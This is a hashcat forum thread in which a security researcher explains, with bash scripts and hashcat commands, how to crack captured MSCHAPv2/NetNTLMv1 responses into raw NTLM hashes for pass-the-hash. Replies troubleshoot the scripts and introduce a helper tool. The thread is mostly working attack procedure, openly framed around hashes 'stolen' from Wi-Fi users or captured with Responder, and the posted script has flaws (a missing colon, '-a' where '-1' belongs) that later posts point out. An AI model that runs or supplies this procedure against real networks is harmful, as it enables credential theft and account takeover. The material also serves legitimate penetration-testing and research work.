Reversing MSCHAPv2 to NTLM
#1
So as we all know mode 14000 generic DES can be used for evil, particularly for MSCHAPv2,  I spoke at DerbyCon and here's the writeup I promised. This demo used $99 format which is MSCHAPv2 and can be calculated by following the guide here http://markgamache.blogspot.ca/2013/01/n...roken.html and https://github.com/moxie0/chapcrack

Talk is here:
http://www.irongeek.com/i.php?page=video...on-evilmog

Step 1: obtain $99 (MSCHAPv2 or NetNTLMv1).  Remove the $99, hash will look like this "$99ESIzRFVmd4hye041+UcSnqUrN7a6Gk0WGw=' and 'ESIzRFVmd4hye041+UcSnqUrN7a6Gk0WGw=' when done.

Step 2: take hash echo it with a newline and pipe to base64 with the decode flag and then pipe it to xxd for a hex dump like so "echo -n 'ESIzRFVmd4hye041+UcSnqUrnN7a6Gk0WGw=' | base64 -d | xxd"

Step 3: CT1 = bytes 9 - 16, CT2 = bytes 17 to 24, PT3 = bytes 25 - 28, CHAL (Challenge) = first 8 bytes  from the hex dump

Step 4: CT1 and CT2 are both generated from the same challenge as explained in atoms post here https://hashcat.net/forum/archive/index....-5832.html so we can multicrack them, bonus. So you need to make a hashes.txt comprised of CT1:CHAL\nCT2:CHAL<EOF> essentially.  You can do this manually or...

Step 5: Script it

#!/bin/bash

challenge=$(echo -n "$1" | base64 -d | xxd | head -n1 | cut -d " " -f2-5 | sed 's/ //g')
ct2=$(echo -n "$1" | base64 -d | xxd | tail -n1 | cut -d " " -f2-5 | sed 's/ //g')
pt3=$(echo -n "$1" | base64 -d | xxd | tail -n1 |cut -d " " -f6-7 | sed 's/ //g')
ct1=$(echo -n "$1" | base64 -d | xxd | head -n 1 | cut -d " " -f6-9 | sed 's/ //g')
echo $ct1:$challenge > hashes.txt
echo $ct2$challenge >> hashes.txt
echo $pt3 > pt3.txt

Feed it the hash in the stripped of $99 format like so

/home/hashcat> ./mschapv2.sh "ESIzRFVmd4hye041+UcSnqUrN7a6Gk0WGw="

and you have a hashes.txt file for mode 14000 and your pt3 file for putting this together


Step 6: crack this on hashcat in mode 14000, if you have 8x GTX 980's you should crack it in a maximum time of 11 days,  with a median time of 5.5 days.  

./hashcat -m 14000 hashes.txt -o cracked.txt -a 3 -w 4 -a charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Step 7) Distributed workload

This is doable on a longer term engagement but I don't usually have that kind of time, we need more nodes.   Way more nodes.  With more nodes comes management, -s and -l work for this but running the calculations by hand sucks and using middleware sucks even more.  So hell with it lets automate it, I wrote a handy skip and limit calculator detailed here https://hashcat.net/forum/thread-5850.html and what it does is generates -s and -l values for you.  In hashcat it has the ability to assign a chunk of a workload and not all of it, -s skips ahead to the section of keyspace you want to start at and -l tells hashcat to stop after processing a portion of the keyspace, while --keyspace tells you the size of the total keyspace.  From here its simple math.

In the script the keyspace is 34359738368 or the value of the first argument.  You also define an array with the count of gpu's in each of your system for example (4 4 4 4) would be 4 nodes with 4 GPU's each for a total of 32 GPU's.  Your chunk size is your keyspace divided by total number of gpu's.  Your remainder your chunk size multiplied by your total number of gpu's and then take that value and subtract it from your keyspace, it should be small or 0.

Now you start a counter at 0, loop into the array.  You add 1 to the counter, so the first item has a counter value of 1, and the case of your first item the skip count is zero and the limit is calculated by multiplying the chunk size by its gpu count and then adding the remainder.  Skipcount for the next node becomes the limit of the first.  Every subsequent node you calculate limit as chunksize * the number of gpu's and skipcount and keep incrementing skipcount to determine position, the script just automates the whole thing and every major middleware does exactly that to distribute workloads, this is also why you can't -s and -l a characterset file for pathwell and have to do it as 100 different jobs.

So I digress you generate -s and -l for each of your nodes and repeat the crack

Node 1: /home/hashcat> ./hashcat -m 14000 hashes.txt -o cracked.txt -a 3 -w 4 -a charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
-s 0 -l [whatever the script calculated]"

Node 2: /home/hashcat> ./hashcat -m 14000 hashes.txt -o cracked.txt -a 3 -w 4 -a charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
-s [whatever script caulcated] -l [whatever the script calculated]"

etc, remove the brackets and all that, it should crack in a day maybe 2 if you throw 32 GTX 980's at it.

Step 8) atom writes a perl script to convert the cracked hashes into usable ntlm hash parts, this is because it outputs in $HEX[hash] format when there is unprintable characters.

https://github.com/hashcat/hashcat-utils...to_ntlm.pl

Step 9) EvilMog writes a script to use atoms script to generate a raw NTLM hash for use in PTH

#!/bin/bash
# relies on https://github.com/hashcat/hashcat-utils...to_ntlm.pl by atom
# takes cracked.txt and strips it of the $HEX[hash crap] to feed to atoms script and get results
cp1=$(perl deskey-to-ntlm.pl $(head -n1 cracked.txt | cut -d"[" -f2 | cut -d"]" -f1))
cp2=$(perl deskey-to-ntlm.pl $(tail -n1 cracked.txt | cut -d"[" -f2 | cut -d"]" -f1))
pt3=cat pt3.txt

ntlmhash="$cp1$cp2$pt3"

echo $ntlmhash

Step 10) profit, you now have the NTLM hash ready for PTH from a MSCHAPv2 hash stolen over wireless from some contractor who didn't enforce certificate checking on WPA2-Enterprise, or stolen with responder on the network via NetNTLMv1.

Thank you, I'm Evil_Mog on twitter, or sometimes EvilMog on #hashcat in freenode
#2
Nice writeup, thank you!
#3
I have a Net-NTLMv1-SSP hash which was captured using Responder (LLMNR w/ SMB). The captured hash is listed below. I have read Mark Gamache’s blog and have tinkered with moxie0’s chapcrack but I still don’t understand how to convert NetNTLMv1 to $99$ format. Could someone shed some light on it for me, I’m sure I’m missing something simple.

johndoe::test-domain:1FA1B9C4ED8E570200000000000000000000000000000000:1B91B89CC1A7417DF9CFAC47CCDED2B77D01513435B36DCA:1122334455667788
#4
Lets break this down:

johndoe::test-domain:1FA1B9C4ED8E570200000000000000000000000000000000:1B91B89CC1A7417DF9CFAC47CCDED2B77D01513435B36DCA:1122334455667788

http://davenport.sourceforge.net/ntlm.ht...lmResponse

--- from the above site---
The NTLM response is calculated as follows (see Appendix D for a sample Java implementation):

The MD4 message-digest algorithm (described in RFC 1320) is applied to the Unicode mixed-case password. This results in a 16-byte value - the NTLM hash.
The 16-byte NTLM hash is null-padded to 21 bytes.
This value is split into three 7-byte thirds.
These values are used to create three DES keys (one from each 7-byte third).
Each of these keys is used to DES-encrypt the challenge from the Type 2 message (resulting in three 8-byte ciphertext values).
These three ciphertext values are concatenated to form a 24-byte value. This is the NTLM response.
--- End Snippit

So 1B91B89CC1A7417DF9CFAC47CCDED2B77D01513435B36DCA is the NTLM response and 1122334455667788 is the challenge.

So
challenge: 11 22 33 44 55 66 77 88 (8 bytes)
CT1: 1B 91 B8 9C C1 A7 41 7D (8 bytes)
CT2: F9 CF AC 47 CC DE D2 B7 (8 bytes)

The final value PT3 you need to bruteforce locally using hashcat des mode 14000, the hash format will look like this:
7D01513435B36DCA:1122334455667788 the keyspace will be ?1?1? on -a charsets/DES_full.charset and should take at most a few seconds, once completed you concatenate the values and base64 encode them.

From: http://markgamache.blogspot.ca/2013/01/n...roken.html it gives a nice visual of how this works, and from chapcrack print "CloudCracker Submission = $99$%s" % base64.b64encode("%s%s%s%s" % (plaintext, c1, c2, k3[0:2])) - k3 in this instance is what I'm calling PT3.

Hopefully this clears this up a bit
#5
(10-01-2016, 09:19 PM)evilmog Wrote:  
The final value PT3 you need to bruteforce locally using hashcat des mode 14000, the hash format will look like this:
7D01513435B36DCA:1122334455667788 the keyspace will be ?1?1? on -a charsets/DES_full.charset

Hey Guys, I'm sorry for the silly question, following the example, I'm having trouble cracking PT3. 

# cat tocrack
7D01513435B36DCA:1122334455667788


./hashcat -m 14000 tocrack -o cracked -a 3 -w 4 -1 charsets/DES_full.charset --hex-charset ?1?1000000000000

...

Session.Name...: hashcat                                  
Status.........: Exhausted
Input.Mode.....: Mask (?1?1000000000000) [8]
Custom.Charset.: -1 charsets/DES_full.charset, -2 Undefined, -3 Undefined, -4 Undefined
Hash.Target....: 7d01513435b36dca:1122334455667788
Hash.Type......: DES (PT = $salt, key = $pass)
Time.Started...: 0 secs
Candidates.#1..: $HEX[31bd000000000000] -> $HEX[9bff000000000000]
Speed.Dev.#1...:  5269.9 kH/s (0.05ms)
Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 16384/16384 (100.00%)
Rejected.......: 0/16384 (0.00%)
HWMon.Dev.#1...: N/A

If I just run "./hashcat -m 14000 tocrack -o cracked -a 3 -w 4 -1 charsets/DES_full.charset --hex-charset ?1?1" it gives me:

WARNING: Skipping mask '?1?1' because it is smaller than the minimum password length

I've also tried with other hashes that I know are good. What am I doing wrong? Do I need to specify the correct mask for the odd-parity adjusted DES key?
#6
This can be a bit tricky, so I've added a new tool to hashcat-utils called ct3_to_ntlm.c. It's on github already.

You need to know that that's two different versions for NetNTLMv1. The one with and the one without ESS. For example, if you don't have an ESS like the JtR's example:

Code:
NETNTLM_bs_fmt_plug.c:  {"$NETNTLM$1122334455667788$B2B2220790F40C88BCFF347C652F67A7C4A70D3BEBD70233", "cory21"},

You can use it like this:

Code:
root@ht:~/hashcat-utils/src# ./ct3_to_ntlm.bin C4A70D3BEBD70233 1122334455667788                                                
51ad

Or, like with your sample above, if you have ESS:

Code:
root@ht:~/hashcat-utils/src# ./ct3_to_ntlm.bin 7D01513435B36DCA 1122334455667788 1FA1B9C4ED8E570200000000000000000000000000000000
34d5
#7
Thanks. That ... makes a great deal of sense. Will mode 14000 have NTLMv1-ESS support as well?
#8
No, because 14000 is a generic DES cracker, not a NetNTLM reverser. You recompute your chall data easily yourself, see the tool i've pushed. Just a single md5
#9
I'm trying to replicate this with some NetNTLMv1 hashes I captured during a pentest. I used moxie's chapcrack to generate the base64 encoded string:

Code:
./chapcrack.py radius -C 7cf8afb4c3b35bae 0af0ffddd599edc72768f484b67513440fe9145
Cracking K3....
                    C1 = 236696db60af0ffd
                    C2 = dd599edc72768f48
                    C3 = 4b67513440fe9145
                     P = 7cf8afb4c3b35bae
                    K3 = 0ab50000000000
CloudCracker Submission = $99$fPivtMOzW64jZpbbYK8P/d1Zntxydo9ICrU=

I then used the evilmog's script to generate the hashes for hashcat to crack:

Code:
root@The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali):~# ./mschap.sh fPivtMOzW64jZpbbYK8P/d1Zntxydo9ICrU=
root@The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali):~# cat hashes.txt
236696db60af0ffd:7cf8afb4c3b35bae
dd599edc72768f487cf8afb4c3b35bae
root@The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali):~#

Finally, I pointed hashcat at the hashes and got a parsing error:

Code:
./hashcat -m 14000 hashes.txt -o cracked.txt -a 3 -w 4 -a charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
hashcat () starting...

OpenCL Platform #1: Apple
=========================
* Device #1: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz, skipped
* Device #2: Iris Pro, 384/1536 MB allocatable, 40MCU
* Device #3: AMD Radeon R9 M370X Compute Engine, 512/2048 MB allocatable, 10MCU

Hashfile 'hashes.txt' on line 1 (236696db60af0ffd:7cf8afb4c3b35bae): Salt-length exception
Hashfile 'hashes.txt' on line 2 (dd599edc72768f487cf8afb4c3b35bae): Line-length exception
Parsing Hashes: 0/2 (0.00%)...No hashes loaded

Started: Tue Nov  1 10:17:06 2016
Stopped: Tue Nov  1 10:17:06 2016

What am I missing?
#10
There's a : missing